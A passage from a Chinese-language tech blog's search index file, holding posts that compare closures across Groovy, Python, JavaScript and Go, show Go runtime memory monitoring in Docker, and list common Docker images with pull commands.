-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlocal-search.xml
More file actions
763 lines (367 loc) · 283 KB
/
local-search.xml
File metadata and controls
763 lines (367 loc) · 283 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>若干编程语言中的闭包对比</title>
<link href="/2024/08/29/Learning-Golang-004/"/>
<url>/2024/08/29/Learning-Golang-004/</url>
<content type="html"><![CDATA[<p>最近面试有问到 Groovy 闭包的概念和作用,这里将通过对比与关联法,将 Groovy 闭包与 Python 的 <code>lambda</code>、JavaScript 的匿名函数(或闭包)、以及 Go 语言中的闭包进行对比,实现举一反三,融会贯通的效果。</p><h3 id="1-Groovy-闭包"><a href="#1-Groovy-闭包" class="headerlink" title="1. Groovy 闭包"></a>1. <strong>Groovy 闭包</strong></h3><ul><li><strong>定义</strong>:闭包(Closure)是一个代码块,可以捕获并记住其定义时的上下文,可以作为参数传递、赋值给变量、甚至延迟执行。</li><li><strong>语法</strong>:使用 <code>{}</code> 定义,参数用 <code>-></code> 分隔。</li></ul> <figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs groovy"><span class="hljs-keyword">def</span> greet = { name -> <br> <span class="hljs-keyword">return</span> <span class="hljs-string">"Hello, ${name}!"</span><br>}<br>println(greet(<span class="hljs-string">"Zhi"</span>)) <span class="hljs-comment">// 输出:Hello, Zhi!</span><br></code></pre></td></tr></table></figure><ul><li><strong>特点</strong>:<ul><li>可以访问外部作用域中的变量(自由变量)。</li><li>支持默认参数 <code>it</code>。</li><li>广泛用于集合操作、事件处理和 DSL 编写。</li></ul></li></ul><blockquote><p>推荐阅读 groovy 闭包在 jenkins pipeline 中的应用示例 —— <a href="https://github.com/zhililab/zhililab.github.io/blob/code-samples/project/groovy-closure/README.MD">code-samples/project/groovy-closure/README.MD</a></p></blockquote><h3 id="2-Python-的-lambda-表达式"><a href="#2-Python-的-lambda-表达式" class="headerlink" title="2. Python 的 lambda 表达式"></a>2. <strong>Python 的 <code>lambda</code> 表达式</strong></h3><ul><li><strong>定义</strong>:<code>lambda</code> 是 Python 中定义匿名函数的方式,主要用于简单的函数定义,通常用于函数式编程的场景,如 map、filter 等。</li><li><strong>语法</strong>:使用 <code>lambda</code> 关键字定义,参数在冒号 <code>:</code> 之前,表达式在之后。</li></ul> <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs python">greet = <span class="hljs-keyword">lambda</span> name: <span class="hljs-string">f"Hello, <span class="hljs-subst">{name}</span>!"</span><br><span class="hljs-built_in">print</span>(greet(<span class="hljs-string">"Zhi"</span>)) <span class="hljs-comment"># 输出:Hello, Zhi!</span><br></code></pre></td></tr></table></figure><ul><li><strong>特点</strong>:<ul><li><code>lambda</code> 表达式只能包含单个表达式,不能包含复杂的语句块。</li><li><code>lambda</code> 可以捕获其定义时的外部变量(闭包),但其功能和复杂性不如 Groovy 的闭包。</li><li>在 Python 中,更常用的是普通的 <code>def</code> 定义的函数。</li></ul></li></ul><h3 id="3-JavaScript-的匿名函数(或闭包)"><a href="#3-JavaScript-的匿名函数(或闭包)" class="headerlink" title="3. JavaScript 的匿名函数(或闭包)"></a>3. <strong>JavaScript 的匿名函数(或闭包)</strong></h3><ul><li><strong>定义</strong>:JavaScript 的匿名函数是一种没有名字的函数,可以直接定义和调用,常用于回调函数或立即执行函数表达式(IIFE)。当匿名函数捕获其外部作用域中的变量时,称为闭包。</li><li><strong>语法</strong>:使用 <code>function</code> 关键字定义,或者在 ES6 之后使用箭头函数 <code>=></code>。</li></ul> <figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">// 匿名函数</span><br><span class="hljs-keyword">const</span> greet = <span class="hljs-keyword">function</span>(<span class="hljs-params">name</span>) {<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"Hello, "</span> + name + <span class="hljs-string">"!"</span>;<br>};<br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-title function_">greet</span>(<span class="hljs-string">"Zhi"</span>)); <span class="hljs-comment">// 输出:Hello, Zhi!</span><br><br><span class="hljs-keyword">const</span> <span class="hljs-title function_">greetArrow</span> = (<span class="hljs-params">name</span>) => <span class="hljs-string">`Hello, <span class="hljs-subst">${name}</span>!`</span>;<br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-title function_">greetArrow</span>(<span class="hljs-string">"Zhi"</span>)); <span class="hljs-comment">// 输出:Hello, Zhi!</span><br></code></pre></td></tr></table></figure><ul><li><strong>特点</strong>:<ul><li>可以捕获外部作用域的变量(闭包),这是 JavaScript 强大的特性之一。</li><li>广泛用于回调函数、事件处理、以及 IIFE(立即执行函数表达式)。</li><li>箭头函数(ES6)与普通函数不同,不绑定自己的 <code>this</code> 值,而是继承自外层作用域。</li></ul></li></ul><h3 id="4-Go-语言中的闭包"><a href="#4-Go-语言中的闭包" class="headerlink" title="4. Go 语言中的闭包"></a>4. <strong>Go 语言中的闭包</strong></h3><ul><li><strong>定义</strong>:在 Go 语言中,闭包是指一个函数可以引用其外层函数的变量,甚至在外层函数执行完毕后,这些变量仍然可以被访问和修改。</li><li><strong>语法</strong>:闭包通过函数嵌套定义实现。</li></ul> <figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> <span class="hljs-string">"fmt"</span><br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">greet</span><span class="hljs-params">(name <span class="hljs-type">string</span>)</span></span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span></span> <span class="hljs-type">string</span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span></span> <span class="hljs-type">string</span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"Hello, "</span> + name + <span class="hljs-string">"!"</span><br> }<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> sayHello := greet(<span class="hljs-string">"Zhi"</span>)<br> fmt.Println(sayHello()) <span class="hljs-comment">// 输出:Hello, Zhi!</span><br>}<br></code></pre></td></tr></table></figure><ul><li><strong>特点</strong>:<ul><li>闭包可以捕获并保留外层函数的变量,这使得它们在外层函数返回后仍然可用。</li><li>在并发场景中使用闭包需要特别小心,尤其是在闭包中修改共享变量时,需要考虑线程安全性。</li><li>闭包常用于工厂函数、延迟计算和事件处理。</li></ul></li></ul><h3 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a><strong>总结对比</strong></h3><ul><li><p><strong>通用性</strong>:Groovy、Python、JavaScript 和 Go 的闭包/匿名函数都能捕获外部变量,使函数的功能更加灵活和强大。它们都广泛应用于回调函数、事件处理和延迟计算等场景。</p></li><li><p><strong>功能复杂度</strong>:Groovy 和 JavaScript 的闭包功能较为强大,支持复杂的操作和语法糖。Python 的 <code>lambda</code> 更适合简单场景,而复杂的逻辑通常使用 <code>def</code> 定义的函数。Go 的闭包则在编写高并发程序时提供了强大的能力,但需要注意线程安全。</p></li><li><p><strong>语法差异</strong>:不同语言的闭包/匿名函数在语法上各具特色,Groovy 使用 <code>{}</code> 定义,Python 使用 <code>lambda</code>,JavaScript 有 <code>function</code> 和 <code>=></code>,而 Go 使用嵌套函数。</p></li></ul><p>通过这些对比,利用已有的语言知识,更容易理解 Groovy 闭包的概念和作用。</p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Go</tag>
<tag>Programming</tag>
<tag>Python</tag>
</tags>
</entry>
<entry>
<title>使用 Go `runtime` 包监控和优化容器内存使用</title>
<link href="/2024/08/27/Learning-Golang-003/"/>
<url>/2024/08/27/Learning-Golang-003/</url>
<content type="html"><![CDATA[<p>Talk is cheap, show me the code. 本篇目标是通过 mini-task ,掌握如何使用 Go 语言的 <code>runtime</code> 包来监控和优化容器内存使用。Let’s go!</p><h4 id="一、背景介绍"><a href="#一、背景介绍" class="headerlink" title="一、背景介绍"></a>一、背景介绍</h4><p><code>runtime</code> 包在 Go 语言中提供了与运行时系统交互的功能,允许开发者访问和控制 Go 程序的运行时环境。它主要的作用包括:</p><ol><li>并发控制:管理和控制 goroutine 的并发执行,例如通过 GOMAXPROCS 函数设置或查询逻辑处理器的数量。</li><li>内存管理:提供垃圾回收(Garbage Collection, GC)相关的函数和调优参数,帮助开发者优化内存使用。</li><li>调度器控制:允许开发者干预调度器的行为,例如设置或查询线程的抢占策略。</li><li>堆栈跟踪:提供获取当前 goroutine 的堆栈跟踪信息的函数,有助于调试和错误处理。</li></ol><h4 id="二、任务目标:"><a href="#二、任务目标:" class="headerlink" title="二、任务目标:"></a>二、任务目标:</h4><p>通过这个任务,实践使用 Go 语言的 <code>runtime</code> 包来监控和调整应用程序的内存使用情况。最终目标是编写一个简单的 Go 程序,能够在容器化环境中运行,定期打印当前的内存使用情况,并根据使用量进行优化(e.g proactive garbage collection)。mini-task 计划如下:</p><ol><li><strong>了解 Go <code>runtime</code> 包的基本功能</strong>:通过官方文档查询与内存管理相关的函数。</li><li><strong>编写监控内存使用的 Go 程序</strong>:使用 <code>runtime</code> 包中的 <code>MemStats</code> 结构体和 <code>ReadMemStats</code> 方法,实时监控内存使用情况。</li><li><strong>在容器中运行该程序</strong>:通过 <code>Docker</code> 将程序容器化,并观察在容器中运行时的内存使用情况。</li></ol><h4 id="四、操作记录:"><a href="#四、操作记录:" class="headerlink" title="四、操作记录:"></a>四、操作记录:</h4><ol><li><strong>初步学习 <code>runtime</code> 包内存管理功能</strong>:<ul><li>阅读并理解 Go 官方文档中关于 <code>runtime</code> 包的介绍,本次 mini-task 主要是与内存管理相关的部分:<ul><li><code>runtime.MemStats</code> 结构体:包含了 Go 程序的各种内存统计数据。</li><li><code>runtime.ReadMemStats(&memStats)</code>:获取当前的内存统计数据。</li><li><code>runtime.GC()</code>:手动触发垃圾回收。</li></ul></li></ul></li></ol><blockquote><p>想要深入了解 runtime 可以阅读官方文档 <a href="https://pkg.go.dev/runtime">https://pkg.go.dev/runtime</a></p></blockquote><ol start="2"><li><p><strong>编写 Go 程序</strong>:</p><ul><li>编写一个简单的程序,定期(如每秒)调用 <code>runtime.ReadMemStats</code> 获取内存使用情况,并打印输出到标准输出。还可以在某个条件下调用 <code>runtime.GC()</code> 主动进行垃圾回收。</li><li>示例代码:<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"runtime"</span><br> <span class="hljs-string">"time"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> memStats runtime.MemStats<br> ticker := time.NewTicker(<span class="hljs-number">1</span> * time.Second)<br><br> <span class="hljs-keyword">for</span> <span class="hljs-keyword">range</span> ticker.C {<br> runtime.ReadMemStats(&memStats)<br> fmt.Printf(<span class="hljs-string">"Alloc = %v MiB"</span>, bToMb(memStats.Alloc))<br> fmt.Printf(<span class="hljs-string">"\tTotalAlloc = %v MiB"</span>, bToMb(memStats.TotalAlloc))<br> fmt.Printf(<span class="hljs-string">"\tSys = %v MiB"</span>, bToMb(memStats.Sys))<br> fmt.Printf(<span class="hljs-string">"\tNumGC = %v\n"</span>, memStats.NumGC)<br><br> <span class="hljs-comment">// 可选:如果某个条件成立,主动触发垃圾回收</span><br> <span class="hljs-keyword">if</span> memStats.Alloc > <span class="hljs-number">100</span>*<span class="hljs-number">1024</span>*<span class="hljs-number">1024</span> { <br> <span class="hljs-comment">// 这里设置当内存分配超过 100 MiB 时,主动触发垃圾回收</span><br> fmt.Println(<span class="hljs-string">"Triggering GC..."</span>)<br> runtime.GC()<br> }<br> }<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">bToMb</span><span class="hljs-params">(b <span class="hljs-type">uint64</span>)</span></span> <span class="hljs-type">uint64</span> {<br> <span class="hljs-keyword">return</span> b / <span class="hljs-number">1024</span> / <span class="hljs-number">1024</span><br>}<br></code></pre></td></tr></table></figure></li></ul></li><li><p><strong>容器化并运行程序</strong>:</p><ul><li>编写一个简单的 Dockerfile 将该程序容器化:<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs dockerfile"><span class="hljs-keyword">FROM</span> golang:latest<br><span class="hljs-keyword">WORKDIR</span><span class="language-bash"> /app</span><br><span class="hljs-keyword">COPY</span><span class="language-bash"> . .</span><br><span class="hljs-keyword">RUN</span><span class="language-bash"> go build -o mem-monitor .</span><br><span class="hljs-keyword">CMD</span><span class="language-bash"> [<span class="hljs-string">"./mem-monitor"</span>]</span><br></code></pre></td></tr></table></figure></li><li><strong>构建和运行容器</strong>:<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker build -t mem-monitor .<br>docker run --<span class="hljs-built_in">rm</span> mem-monitor<br></code></pre></td></tr></table></figure></li><li><strong>观察容器内的内存使用情况</strong>,并调整容器的内存限制、CPU 配额等,查看程序的运行表现。</li></ul><p>(1)构建镜像</p><p><img src="https://img.picui.cn/free/2024/08/27/66cd692c54adc.png" alt="1724737873596.png"></p><p>(2)观察容器的内存使用情况</p><p><img src="https://img.picui.cn/free/2024/08/27/66cd69e213b67.png" alt="1724738055726.png"><br>可以上图发现 alloc、TotalAlloc、Sys、NumGC 等内存使用情况,我们可以对代码做一些小修改,增加波动。</p><p>(3)修改代码</p> <figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"runtime"</span><br> <span class="hljs-string">"time"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> memStats runtime.MemStats<br> ticker := time.NewTicker(<span class="hljs-number">1</span> * time.Second)<br><br> <span class="hljs-comment">// 模拟的内存分配</span><br> <span class="hljs-keyword">var</span> allocations [][]<span class="hljs-type">byte</span><br><br> <span class="hljs-keyword">for</span> <span class="hljs-keyword">range</span> ticker.C {<br> <span class="hljs-comment">// 分配 10 MiB 内存</span><br> allocations = <span class="hljs-built_in">append</span>(allocations, <span class="hljs-built_in">make</span>([]<span class="hljs-type">byte</span>, <span class="hljs-number">10</span>*<span class="hljs-number">1024</span>*<span class="hljs-number">1024</span>))<br><br> <span class="hljs-comment">// 每隔 5 次释放一部分内存</span><br> <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(allocations) > <span class="hljs-number">5</span> {<br> allocations = allocations[<span class="hljs-number">2</span>:] <span class="hljs-comment">// 保留最近三次的分配</span><br> }<br><br> <span class="hljs-comment">// 读取当前内存状态</span><br> runtime.ReadMemStats(&memStats)<br> fmt.Printf(<span class="hljs-string">"Alloc = %v MiB"</span>, bToMb(memStats.Alloc))<br> fmt.Printf(<span class="hljs-string">"\tTotalAlloc = %v MiB"</span>, bToMb(memStats.TotalAlloc))<br> fmt.Printf(<span class="hljs-string">"\tSys = %v MiB"</span>, bToMb(memStats.Sys))<br> fmt.Printf(<span class="hljs-string">"\tNumGC = %v\n"</span>, memStats.NumGC)<br><br> <span class="hljs-comment">// 可选:如果某个条件成立,主动触发垃圾回收</span><br> <span class="hljs-keyword">if</span> memStats.Alloc > <span class="hljs-number">100</span>*<span class="hljs-number">1024</span>*<span class="hljs-number">1024</span> { <br> <span class="hljs-comment">// 这里设置当内存分配超过 100 MiB 时,主动触发垃圾回收</span><br> fmt.Println(<span class="hljs-string">"Triggering GC..."</span>)<br> runtime.GC()<br> }<br> }<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">bToMb</span><span class="hljs-params">(b <span class="hljs-type">uint64</span>)</span></span> <span class="hljs-type">uint64</span> {<br> <span class="hljs-keyword">return</span> b / <span class="hljs-number">1024</span> / <span class="hljs-number">1024</span><br>}<br></code></pre></td></tr></table></figure><p> (4)更新镜像、重新运行容器<br> <img src="https://img.picui.cn/free/2024/08/27/66cd6c0aee5e7.png" alt="rebuild_image.png"></p><p> <img src="https://img.picui.cn/free/2024/08/27/66cd6c538f052.png" alt="rerun_image.png"></p><p> 通过这个修改,你应该能看到内存使用情况在每次分配和释放操作时产生波动,Alloc、TotalAlloc、Sys 等字段的值会有明显变化,并且 NumGC 的值会随着垃圾回收的触发而增加。这样可以更直观地观察 Go 程序的内存管理行为。</p></li></ol><h4 id="五、任务总结和思考"><a href="#五、任务总结和思考" class="headerlink" title="五、任务总结和思考"></a>五、任务总结和思考</h4><p>通过这个任务,我们了解到 Go 语言的 <code>runtime</code> 包的基本功能,以及如何使用它来编写和运行 Go 程序。同时,我们还可以通过容器化和运行程序来观察容器内的内存使用情况,并根据需要进行优化。</p><h4 id="附录1-基础环境工具配置"><a href="#附录1-基础环境工具配置" class="headerlink" title="附录1 基础环境工具配置"></a>附录1 基础环境工具配置</h4><p>docker desktop(macos) 4.31.0 (153195)<br>go version go1.23.0 darwin/arm64</p><h4 id="附录2-完整代码示例"><a href="#附录2-完整代码示例" class="headerlink" title="附录2 完整代码示例"></a>附录2 完整代码示例</h4><p><a href="https://github.com/zhililab/zhililab.github.io/tree/code-samples/Project/docker-runtime-monitor">docker-runtime-monitor</a></p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Go</tag>
<tag>Programming</tag>
<tag>Mini-task</tag>
</tags>
</entry>
<entry>
<title>Docker 学习 —— 常用 docker 镜像总结(优化)</title>
<link href="/2024/08/24/Learning-Docker-002/"/>
<url>/2024/08/24/Learning-Docker-002/</url>
<content type="html"><![CDATA[<p>在 DevOps 和软件开发领域,Docker 镜像是构建、测试、部署应用的基础。在日常开发中,掌握常用的 Docker 镜像以及相应的最佳实践能够显著提升工作效率。本文将简要介绍一些常用的 Docker 镜像,并提供相应的拉取命令及高级优化使用技巧。我们开始吧!</p><h2 id="常用镜像介绍"><a href="#常用镜像介绍" class="headerlink" title="常用镜像介绍"></a>常用镜像介绍</h2><h3 id="1-操作系统基础镜像"><a href="#1-操作系统基础镜像" class="headerlink" title="1. 操作系统基础镜像"></a>1. <strong>操作系统基础镜像</strong></h3><ul><li><p><strong>Ubuntu</strong>: </p><ul><li><strong>介绍</strong>: Ubuntu 是一个稳定且广泛使用的 Linux 发行版,适合大多数 Linux 环境下的应用开发和部署。基于 Ubuntu 的镜像通常作为开发和生产环境的基石,特别适合在 CI/CD 流水线中使用。</li><li><strong>高级技巧</strong>: 可以基于 Ubuntu 镜像定制自己的基础镜像,预装常用的开发工具,如 <code>curl</code>、<code>git</code> 等,减少 CI 构建时间。</li><li><strong>拉取命令</strong>: <code>docker pull ubuntu:latest</code></li></ul></li><li><p><strong>Alpine</strong>: </p><ul><li><strong>介绍</strong>: Alpine 是一个极为轻量级的 Linux 发行版,镜像体积通常在 5MB 左右,非常适合需要最小化容器大小的场景。由于其小巧的体积和安全性,Alpine 镜像在生产环境中广受欢迎。</li><li><strong>高级技巧</strong>: 在使用 Alpine 时,建议根据需求选择合适的 <code>glibc</code> 兼容包,以避免与常见 C 库的兼容性问题。</li><li><strong>拉取命令</strong>: <code>docker pull alpine:latest</code></li></ul></li><li><p><strong>CentOS</strong>: </p><ul><li><strong>介绍</strong>: CentOS 是基于 Red Hat 的企业级 Linux 发行版,具有长期支持和企业级稳定性,常用于企业级应用的生产环境,特别是在需要与 RHEL 保持兼容性的场景中。</li><li><strong>高级技巧</strong>: 对于需要 RHEL 兼容的开发者,可以通过 CentOS Stream 获取更新的功能,同时测试与 RHEL 的兼容性。</li><li><strong>拉取命令</strong>: <code>docker pull centos:latest</code></li></ul></li></ul><h3 id="2-编程语言运行时镜像"><a href="#2-编程语言运行时镜像" class="headerlink" title="2. 编程语言运行时镜像"></a>2. <strong>编程语言运行时镜像</strong></h3><ul><li><p><strong>Java</strong>: </p><ul><li><strong>介绍</strong>: OpenJDK 是 Java 的开源实现。<code>jre-slim</code> 版本适用于运行 Java 应用,而 HotSpot JVM 是默认的虚拟机,具备较好的性能和稳定性。</li><li><strong>高级技巧</strong>: 对于高性能需求的应用,可以考虑使用 GraalVM 来进一步优化运行时性能。建议定期检查 Java 镜像的安全更新,以确保运行时的安全性。</li><li><strong>拉取命令</strong>: <ul><li><code>docker pull openjdk:11-jre-slim</code></li><li><code>docker pull adoptopenjdk:11-jre-hotspot</code></li></ul></li></ul></li><li><p><strong>Python</strong>: </p><ul><li><strong>介绍</strong>: Python 是一种非常流行的编程语言,广泛应用于数据科学、自动化和 Web 开发领域。<code>slim</code> 版本的镜像适用于轻量级的应用场景。</li><li><strong>高级技巧</strong>: 使用 <code>multi-stage builds</code> 技术构建镜像,减少最终镜像的体积;结合 <code>pipenv</code> 或 <code>poetry</code> 等工具管理 Python 依赖,确保环境一致性。</li><li><strong>拉取命令</strong>: <code>docker pull python:3.9-slim</code></li></ul></li><li><p><strong>Node.js</strong>: </p><ul><li><strong>介绍</strong>: Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,适合构建高效的服务器端应用。<code>alpine</code> 版本的 Node.js 镜像具备轻量和快速启动的优势。</li><li><strong>高级技巧</strong>: 结合 <code>multi-stage builds</code> 优化生产镜像,将应用的依赖独立安装至特定路径,避免冗余文件。</li><li><strong>拉取命令</strong>: <code>docker pull node:14-alpine</code></li></ul></li><li><p><strong>Go</strong>: </p><ul><li><strong>介绍</strong>: Go 是一种高效、静态类型的编程语言,适合构建高并发的服务器端应用。<code>alpine</code> 版本的 Go 镜像在性能与镜像体积间取得了良好平衡。</li><li><strong>高级技巧</strong>: 使用 <code>CGO_ENABLED=0</code> 环境变量禁用 Cgo,生成更加轻量级的静态二进制文件,并且通过 <code>multi-stage builds</code> 将构建和运行分离,进一步缩小最终镜像的体积。</li><li><strong>拉取命令</strong>: <code>docker pull golang:1.16-alpine</code></li></ul></li></ul><h3 id="3-数据库镜像"><a href="#3-数据库镜像" class="headerlink" title="3. 数据库镜像"></a>3. <strong>数据库镜像</strong></h3><ul><li><p><strong>MySQL</strong>: </p><ul><li><strong>介绍</strong>: MySQL 是一个流行的关系型数据库管理系统,广泛用于 Web 和企业级应用。<code>8.0</code> 版本具备了更好的性能和扩展性。</li><li><strong>高级技巧</strong>: 在使用 MySQL 镜像时,建议使用挂载卷的方式存储数据库文件,以避免数据丢失。此外,可以配置多主节点模式提升高可用性。</li><li><strong>拉取命令</strong>: <code>docker pull mysql:8.0</code></li></ul></li><li><p><strong>PostgreSQL</strong>: </p><ul><li><strong>介绍</strong>: PostgreSQL 是一个功能强大的开源关系型数据库系统,支持复杂查询、数据分析和高级功能(如 JSONB 支持和窗口函数)。</li><li><strong>高级技巧</strong>: 可以使用 <code>pg_cron</code> 扩展来调度数据库任务,或通过 <code>pg_stat_statements</code> 扩展来监控查询性能。此外,建议开启 <code>pgbackrest</code> 或 <code>WAL</code> 归档以实现更好的数据备份和恢复。</li><li><strong>拉取命令</strong>: <code>docker pull postgres:13</code></li></ul></li><li><p><strong>Redis</strong>: </p><ul><li><strong>介绍</strong>: Redis 是一个高性能的内存数据库,支持多种数据结构,常用于缓存、会话管理和消息队列。</li><li><strong>高级技巧</strong>: Redis 镜像中支持主从复制和哨兵机制,可以构建高可用的 Redis 集群。此外,考虑使用 Redis 6 新增的 ACL(访问控制列表)功能来提升安全性。</li><li><strong>拉取命令</strong>: <code>docker pull redis:6-alpine</code></li></ul></li></ul><h3 id="4-Web-服务器镜像"><a href="#4-Web-服务器镜像" class="headerlink" title="4. Web 服务器镜像"></a>4. <strong>Web 服务器镜像</strong></h3><ul><li><p><strong>Nginx</strong>: </p><ul><li><strong>介绍</strong>: Nginx 是一个高性能的 Web 服务器,广泛用于静态内容服务、反向代理和负载均衡。<code>alpine</code> 版本的 Nginx 镜像在性能与体积间达到良好平衡。</li><li><strong>高级技巧</strong>: 使用 